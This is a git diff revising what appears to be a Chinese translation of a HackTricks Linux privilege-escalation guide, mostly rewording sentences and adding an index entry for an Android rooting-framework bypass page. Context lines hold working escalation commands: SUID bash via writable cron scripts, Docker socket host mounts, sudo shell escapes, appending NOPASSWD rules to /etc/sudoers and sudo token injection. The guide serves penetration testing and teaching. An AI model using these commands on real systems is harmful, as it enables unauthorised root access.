diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 0c1f23d74..fa7568927 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -96,6 +96,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) + - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 4b5f22265..3ba776eb1 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -39,13 +39,13 @@ searchsploit "Linux Kernel" ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -可能有助于搜索内核漏洞的工具包括: +可以帮助搜索内核漏洞的工具有: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者上执行,仅检查2.x内核的漏洞) -始终**在Google中搜索内核版本**,也许您的内核版本在某个内核漏洞中被写入,这样您就可以确定该漏洞是有效的。 +始终**在Google中搜索内核版本**,也许你的内核版本在某个内核漏洞中被写入,这样你就可以确定这个漏洞是有效的。 ### CVE-2016-5195 (DirtyCow) @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg 签名验证失败 -检查 **smasher2 box of HTB** 以获取此漏洞如何被利用的 **示例** +检查 **smasher2 box of HTB** 以获取此漏洞可能被利用的 **示例** ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -131,7 +131,7 @@ docker-security/ ## Drives -检查**已挂载和未挂载的内容**,以及它们的位置和原因。如果有任何未挂载的内容,你可以尝试挂载它并检查私人信息。 +检查**已挂载和未挂载的内容**,以及它们的位置和原因。如果有任何内容未挂载,你可以尝试挂载它并检查私人信息。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,13 +144,13 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -还要检查是否**安装了任何编译器**。如果您需要使用某个内核漏洞,这很有用,因为建议在您将要使用它的机器上(或类似的机器上)进行编译。 +还要检查是否**安装了任何编译器**。如果您需要使用某些内核漏洞,这很有用,因为建议在您将要使用它的机器上(或类似的机器上)进行编译。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### 安装的易受攻击软件 -检查**已安装软件包和服务的版本**。可能存在某些旧版的Nagios(例如),可以被利用来提升权限……\ +检查**已安装软件包和服务的版本**。可能存在某个旧版的Nagios(例如),可以被利用来提升权限…\ 建议手动检查更可疑的已安装软件的版本。 ```bash dpkg -l #Debian @@ -162,14 +162,14 @@ rpm -qa #Centos ## Processes -查看 **正在执行的进程**,并检查是否有任何进程具有 **超出其应有的权限**(例如,是否有由root执行的tomcat?) +查看 **正在执行的进程**,并检查是否有任何进程 **拥有超过应有的权限**(可能是由root执行的tomcat?) ```bash ps aux ps -ef top -n 1 ``` 始终检查可能正在运行的 [**electron/cef/chromium debuggers**,您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\ -还要**检查您对进程二进制文件的权限**,也许您可以覆盖某个用户。 +还要**检查您对进程二进制文件的权限**,也许您可以覆盖某个用户的文件。 ### 进程监控 @@ -177,7 +177,7 @@ top -n 1 ### 进程内存 -某些服务器服务在**内存中以明文保存凭据**。\ +某些服务器的服务在**内存中以明文保存凭据**。\ 通常,您需要**root 权限**才能读取属于其他用户的进程的内存,因此这通常在您已经是 root 并想要发现更多凭据时更有用。\ 但是,请记住,**作为普通用户,您可以读取您拥有的进程的内存**。 @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -对于给定的进程 ID,**maps 显示该进程的** 虚拟地址空间内如何映射内存;它还显示 **每个映射区域的权限**。**mem** 伪文件 **暴露了进程的内存本身**。通过 **maps** 文件,我们知道哪些 **内存区域是可读的** 及其偏移量。我们使用这些信息 **在 mem 文件中查找并将所有可读区域转储到文件中**。 +对于给定的进程 ID,**maps 显示该进程的** 虚拟地址空间内如何映射内存;它还显示 **每个映射区域的权限**。**mem** 伪文件 **暴露了进程的内存本身**。从 **maps** 文件中,我们知道哪些 **内存区域是可读的** 及其偏移量。我们使用这些信息 **在 mem 文件中查找并将所有可读区域转储到文件中**。 ```bash procdump() ( @@ -293,7 +293,7 @@ strings *.dump | grep -i password | 特性 | 进程名称 | | ------------------------------------------------ | --------------------- | | GDM 密码(Kali 桌面,Debian 桌面) | gdm-password | -| Gnome Keyring(Ubuntu 桌面,ArchLinux 桌面) | gnome-keyring-daemon | +| Gnome 密钥环(Ubuntu 桌面,ArchLinux 桌面) | gnome-keyring-daemon | | LightDM(Ubuntu 桌面) | lightdm | | VSFTPd(活动 FTP 连接) | vsftpd | | Apache2(活动 HTTP 基本认证会话) | apache2 | @@ -325,22 +325,22 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul 例如,在 _/etc/crontab_ 中可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_注意用户 "user" 对 /home/user 具有写入权限_) +(_注意用户 "user" 对 /home/user 具有写权限_) 如果在这个 crontab 中,root 用户尝试执行某个命令或脚本而没有设置路径。例如: _\* \* \* \* root overwrite.sh_\ -然后,您可以通过使用获得 root shell: +然后,你可以通过使用以下方式获得 root shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron 使用带通配符的脚本(通配符注入) +### Cron 使用带通配符的脚本 (通配符注入) 如果由 root 执行的脚本在命令中包含“**\***”,您可以利用这一点来制造意想不到的事情(例如提权)。示例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,那么它就不容易受到攻击(即使** _**./\***_ **也不行)。** +**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,那么它就不容易受到攻击(即使是** _**./\***_ **也不行)。** 阅读以下页面以获取更多通配符利用技巧: @@ -350,21 +350,21 @@ wildcards-spare-tricks.md ### Cron 脚本覆盖和符号链接 -如果你**可以修改一个由 root 执行的 cron 脚本**,你可以很容易地获得一个 shell: +如果你**可以修改一个由 root 执行的 cron 脚本**,你可以非常容易地获得一个 shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -如果由 root 执行的脚本使用一个 **您拥有完全访问权限的目录**,那么删除该文件夹并 **创建一个指向另一个文件夹的符号链接**,该文件夹提供由您控制的脚本,可能会很有用。 +如果由 root 执行的脚本使用一个 **您拥有完全访问权限的目录**,那么删除该文件夹并 **创建一个指向另一个由您控制的脚本的符号链接文件夹** 可能会很有用。 ```bash ln -d -s ``` ### Frequent cron jobs -您可以监控进程以搜索每 1、2 或 5 分钟执行的进程。也许您可以利用它来提升权限。 +您可以监控进程,以搜索每 1、2 或 5 分钟执行的进程。也许您可以利用这一点来提升权限。 -例如,要**每 0.1 秒监控 1 分钟**,**按执行次数较少的命令排序**并删除执行次数最多的命令,您可以这样做: +例如,要**每 0.1 秒监控 1 分钟**,**按执行次数较少的命令排序**并删除执行次数最多的命令,您可以执行: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -385,7 +385,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 可写的服务二进制文件 -请记住,如果您对由服务执行的二进制文件具有 **写权限**,您可以将它们更改为后门,这样当服务重新执行时,后门将被执行。 +请记住,如果您对服务执行的二进制文件具有 **写权限**,您可以将它们更改为后门,这样当服务重新执行时,后门将被执行。 ### systemd PATH - 相对路径 @@ -393,19 +393,19 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -如果您发现可以在路径的任何文件夹中**写入**,则可能能够**提升权限**。您需要搜索**在服务配置**文件中使用的**相对路径**,例如: +如果您发现您可以在路径的任何文件夹中**写入**,您可能能够**提升权限**。您需要搜索**在服务配置**文件中使用的**相对路径**,例如: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -然后,在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**,其 **名称与相对路径二进制文件相同**,当服务被要求执行脆弱操作(**启动**,**停止**,**重新加载**)时,您的 **后门将被执行**(普通用户通常无法启动/停止服务,但请检查您是否可以使用 `sudo -l`)。 +然后,在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**,其 **名称与相对路径二进制文件相同**,当服务被要求执行脆弱的操作(**启动**,**停止**,**重新加载**)时,您的 **后门将被执行**(普通用户通常无法启动/停止服务,但请检查您是否可以使用 `sudo -l`)。 **了解有关服务的更多信息,请参见 `man systemd.service`。** ## **定时器** -**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,用于控制 `**.service**` 文件或事件。 **定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。 +**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,用于控制 `**.service**` 文件或事件。**定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。 您可以使用以下命令列出所有定时器: ```bash @@ -413,13 +413,13 @@ systemctl list-timers --all ``` ### 可写定时器 -如果您可以修改定时器,则可以使其执行一些 systemd.unit 的实例(例如 `.service` 或 `.target`) +如果您可以修改定时器,则可以使其执行某些 systemd.unit 的实例(例如 `.service` 或 `.target`) ```bash Unit=backdoor.service ``` 在文档中,您可以阅读到单位的定义: -> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定,则此值默认为与计时器单位同名的服务,除了后缀外。(见上文。)建议激活的单位名称和计时器单位的单位名称在名称上保持一致,除了后缀。 +> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定,则此值默认为与计时器单位同名的服务,后缀除外。(见上文。)建议激活的单位名称和计时器单位的单位名称在后缀之外是相同的。 因此,要滥用此权限,您需要: @@ -445,16 +445,16 @@ Unix 域套接字 (UDS) 使得在客户端-服务器模型中同一台或不同 **通过 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中,可以配置几个有趣的参数: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示它将监听的位置**(AF_UNIX 套接字文件的路径,监听的 IPv4/6 和/或端口号等) +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示它将监听的位置**(AF_UNIX 套接字文件的路径,IPv4/6 和/或要监听的端口号等) - `Accept`: 接受一个布尔参数。如果 **true**,则为每个传入连接 **生成一个服务实例**,并且仅将连接套接字传递给它。如果 **false**,则所有监听套接字本身 **传递给启动的服务单元**,并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO,此值被忽略,因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新守护进程。 - `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名,后面跟着进程的参数。 -- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的额外 **命令**。 -- `Service`: 指定 **服务** 单元名称 **以激活** 在 **传入流量** 上。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。 +- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的附加 **命令**。 +- `Service`: 指定 **在传入流量上激活的** **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。 ### 可写的 .socket 文件 如果您发现一个 **可写** 的 `.socket` 文件,可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,后门将在套接字创建之前执行。因此,您 **可能需要等到机器重启。**\ -_请注意,系统必须使用该套接字文件配置,否则后门将不会被执行_ +_注意,系统必须使用该套接字文件配置,否则后门将不会被执行_ ### 可写套接字 @@ -481,19 +481,19 @@ socket-command-injection.md ### HTTP 套接字 -请注意,可能有一些 **监听 HTTP** 请求的 **套接字**(_我不是在谈论 .socket 文件,而是作为 unix 套接字的文件_)。您可以通过以下方式检查: +请注意,可能有一些 **监听 HTTP** 请求的 **套接字**(_我不是在谈论 .socket 文件,而是充当 unix 套接字的文件_)。您可以通过以下方式检查: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -如果套接字 **响应一个 HTTP** 请求,那么你可以 **与之通信**,并可能 **利用某些漏洞**。 +如果套接字**响应一个HTTP**请求,那么你可以**与之通信**并可能**利用某些漏洞**。 ### 可写的 Docker 套接字 -Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致权限提升。以下是如何做到这一点的分解,以及在 Docker CLI 不可用时的替代方法。 +Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写入权限可能导致特权升级。以下是如何做到这一点的分解,以及在 Docker CLI 不可用时的替代方法。 -#### **使用 Docker CLI 提升权限** +#### **使用 Docker CLI 进行特权升级** -如果你对 Docker 套接字具有写访问权限,可以使用以下命令提升权限: +如果你对 Docker 套接字具有写入权限,可以使用以下命令来提升特权: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh @@ -522,7 +522,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **附加到容器:** 使用 `socat` 建立与容器的连接,从而在其中执行命令。 +3. **附加到容器:** 使用 `socat` 建立与容器的连接,启用在其中执行命令。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -532,13 +532,13 @@ Connection: Upgrade Upgrade: tcp ``` -在设置 `socat` 连接后,您可以直接在容器中执行命令,具有对主机文件系统的根级别访问权限。 +在设置 `socat` 连接后,您可以直接在容器中以根级别访问主机的文件系统执行命令。 ### 其他 -请注意,如果您对 Docker 套接字具有写权限,因为您**在 `docker` 组内**,您有[**更多的权限提升方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口上监听**,您也可能能够妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +请注意,如果您对 Docker 套接字具有写权限,因为您**在 `docker` 组内**,您有[**更多的权限提升方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口上监听**,您也可以妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -查看**更多从 Docker 中突破或滥用它以提升权限的方法**: +查看**更多从 Docker 中突破或滥用它以提升权限的方法**在: {{#ref}} docker-security/ @@ -562,9 +562,9 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能够高效地交互和共享数据。它是为现代 Linux 系统设计的,提供了一个强大的框架,用于不同形式的应用程序通信。 +D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能够高效地交互和共享数据。它是为现代 Linux 系统设计的,提供了一个强大的框架用于不同形式的应用程序通信。 -该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以提示音乐播放器静音,从而增强用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。 +该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音,从而提升用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。 D-Bus 基于 **允许/拒绝模型**,根据匹配策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限来允许权限提升。 @@ -629,7 +629,7 @@ timeout 1 tcpdump ### 通用枚举 -检查 **你是谁**,你拥有的 **权限**,系统中有哪些 **用户**,哪些可以 **登录**,哪些具有 **root 权限**: +检查 **who** 你是,拥有的 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些具有 **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -683,22 +683,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 已知密码 -如果您**知道环境中的任何密码**,请尝试使用该密码**登录每个用户**。 +如果您**知道环境中的任何密码**,请尝试使用该密码**以每个用户身份登录**。 ### Su Brute -如果您不介意制造很多噪音,并且计算机上存在`su`和`timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\ +如果您不介意制造大量噪音,并且计算机上存在`su`和`timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)使用`-a`参数也会尝试暴力破解用户。 ## 可写的 PATH 滥用 ### $PATH -如果您发现可以**在 $PATH 的某个文件夹内写入**,您可能能够通过**在可写文件夹内创建一个后门**,其名称为将由其他用户(理想情况下是 root)执行的某个命令,并且该命令**不是从位于您可写文件夹之前的文件夹加载的**,来提升权限。 +如果您发现可以**在$PATH的某个文件夹内写入**,您可能能够通过**在可写文件夹内创建一个后门**,其名称为将由其他用户(理想情况下是root)执行的某个命令,并且该命令**不是从位于$PATH中您可写文件夹之前的文件夹加载的**,来提升权限。 ### SUDO 和 SUID -您可能被允许使用 sudo 执行某些命令,或者它们可能具有 suid 位。使用以下命令检查: +您可能被允许使用sudo执行某些命令,或者它们可能具有suid位。请使用以下命令检查: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -720,7 +720,7 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得非常简单。 +在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得很简单。 ``` sudo vim -c '!sh' ``` @@ -755,9 +755,9 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **对策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### 没有命令路径的 Sudo 命令/SUID 二进制文件 +### Sudo命令/SUID二进制文件没有命令路径 -如果 **sudo 权限** 被授予单个命令 **而未指定路径**: _hacker10 ALL= (root) less_,你可以通过更改 PATH 变量来利用它。 +如果**sudo权限**被授予单个命令**而不指定路径**: _hacker10 ALL= (root) less_,你可以通过更改PATH变量来利用它。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" @@ -784,7 +784,7 @@ export -f /usr/sbin/service 然而,为了维护系统安全并防止此功能被利用,特别是在**suid/sgid**可执行文件中,系统强制执行某些条件: -- 对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件,加载器会忽略**LD_PRELOAD**。 +- 加载器忽略**LD_PRELOAD**对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件。 - 对于具有suid/sgid的可执行文件,仅在标准路径中且也具有suid/sgid的库会被预加载。 如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**,则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量持续存在并被识别,即使在使用`sudo`运行命令时,这可能导致以提升的权限执行任意代码。 @@ -840,9 +840,9 @@ sudo LD_LIBRARY_PATH=/tmp ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例如,遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (没有这样的文件或目录)"_ 的错误提示可能表明存在利用的潜力。 +例如,遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (没有这样的文件或目录)"_ 的错误提示,暗示了潜在的利用可能性。 -为了利用这一点,可以创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,其中包含以下代码: +为了利用这一点,可以创建一个 C 文件,比如 _"/path/to/.config/libcalc.c"_,其中包含以下代码: ```c #include #include @@ -892,7 +892,7 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 则是针对只能 **注入参数** 的命令的情况。 +[**GTFOBins**](https://gtfobins.github.io) 是一个经过策划的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 是相同的,但适用于您只能在命令中 **注入参数** 的情况。 该项目收集了可以被滥用的 Unix 二进制文件的合法功能,以打破受限的 shell,提升或维持提升的权限,传输文件,生成绑定和反向 shell,并促进其他后期利用任务。 @@ -919,12 +919,12 @@ https://gtfoargs.github.io/ 提升权限的要求: -- 您已经以用户 "_sampleuser_" 拥有一个 shell +- 您已经作为用户 "_sampleuser_" 拥有一个 shell - "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作(默认情况下,这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间) - `cat /proc/sys/kernel/yama/ptrace_scope` 为 0 - `gdb` 可访问(您可以上传它) -(您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 `ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0`) +(您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 暂时启用 `ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0`) 如果满足所有这些要求,**您可以使用以下方法提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) @@ -946,7 +946,7 @@ sudo su ``` ### /var/run/sudo/ts/\ -如果您在该文件夹或文件夹内创建的任何文件中具有**写权限**,则可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) **为用户和PID创建sudo令牌**。\ +如果您在该文件夹或文件夹内创建的任何文件中具有**写权限**,则可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来**为用户和PID创建sudo令牌**。\ 例如,如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且您以该用户的身份拥有PID 1234的shell,您可以**获得sudo权限**而无需知道密码,方法是: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser @@ -959,7 +959,7 @@ sudo su ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你会写东西,你就可以滥用这个权限。 +如果你会写代码,你就可以滥用这个权限。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1048,8 +1048,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -阅读以下页面以**了解更多关于能力及其滥用的方法**: +Linux capabilities 提供了 **可用根权限的子集给一个进程**。这有效地将根 **权限分解为更小且独特的单元**。每个单元可以独立授予给进程。通过这种方式,完整的权限集被减少,从而降低了被利用的风险。\ +阅读以下页面以 **了解更多关于能力及其滥用的方法**: {{#ref}} linux-capabilities.md @@ -1057,14 +1057,14 @@ linux-capabilities.md ## Directory permissions -在目录中,**“执行”**位意味着受影响的用户可以“**cd**”进入该文件夹。\ -**“读取”**位意味着用户可以**列出**文件,而**“写入”**位意味着用户可以**删除**和**创建**新**文件**。 +在一个目录中,**“执行”**位意味着受影响的用户可以“**cd**”进入该文件夹。\ +**“读取”**位意味着用户可以 **列出** **文件**,而 **“写入”**位意味着用户可以 **删除** 和 **创建** 新的 **文件**。 ## ACLs -访问控制列表(ACLs)代表了可自由裁量权限的第二层,能够**覆盖传统的ugo/rwx权限**。这些权限通过允许或拒绝特定用户(非所有者或不属于该组的用户)访问文件或目录,从而增强了对访问的控制。这种**粒度确保了更精确的访问管理**。更多细节可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。 +访问控制列表 (ACLs) 代表了可自由裁量权限的第二层,能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户(非所有者或不属于该组的用户)访问文件或目录,从而增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。 -**给予**用户“kali”对文件的读取和写入权限: +**给予** 用户 "kali" 对一个文件的读取和写入权限: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1077,8 +1077,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## 打开 shell 会话 -在 **旧版本** 中,您可能会 **劫持** 其他用户 (**root**) 的一些 **shell** 会话。\ -在 **最新版本** 中,您将只能 **连接** 到 **您自己的用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。 +在 **旧版本** 中,您可以 **劫持** 其他用户 (**root**) 的一些 **shell** 会话。\ +在 **最新版本** 中,您只能 **连接** 到 **您自己的用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。 ### 屏幕会话劫持 @@ -1123,7 +1123,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ### Debian OpenSSL 可预测的 PRNG - CVE-2008-0166 -在 2006 年 9 月到 2008 年 5 月 13 日之间,在基于 Debian 的系统(如 Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞的影响。\ +在 2006 年 9 月到 2008 年 5 月 13 日之间生成的所有 Debian 基于系统(Ubuntu、Kubuntu 等)的 SSL 和 SSH 密钥可能受到此漏洞的影响。\ 此漏洞是在这些操作系统中创建新 ssh 密钥时造成的,因为 **仅有 32,768 种变体是可能的**。这意味着所有可能性都可以计算,并且 **拥有 ssh 公钥后,您可以搜索相应的私钥**。您可以在这里找到计算出的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH 有趣的配置值 @@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -SSH代理转发允许您**使用本地SSH密钥而不是将密钥**(没有密码短语!)留在服务器上。因此,您将能够**通过ssh跳转到一个主机**,然后从那里**跳转到另一个**主机**,使用**位于您**初始主机**中的**密钥**。 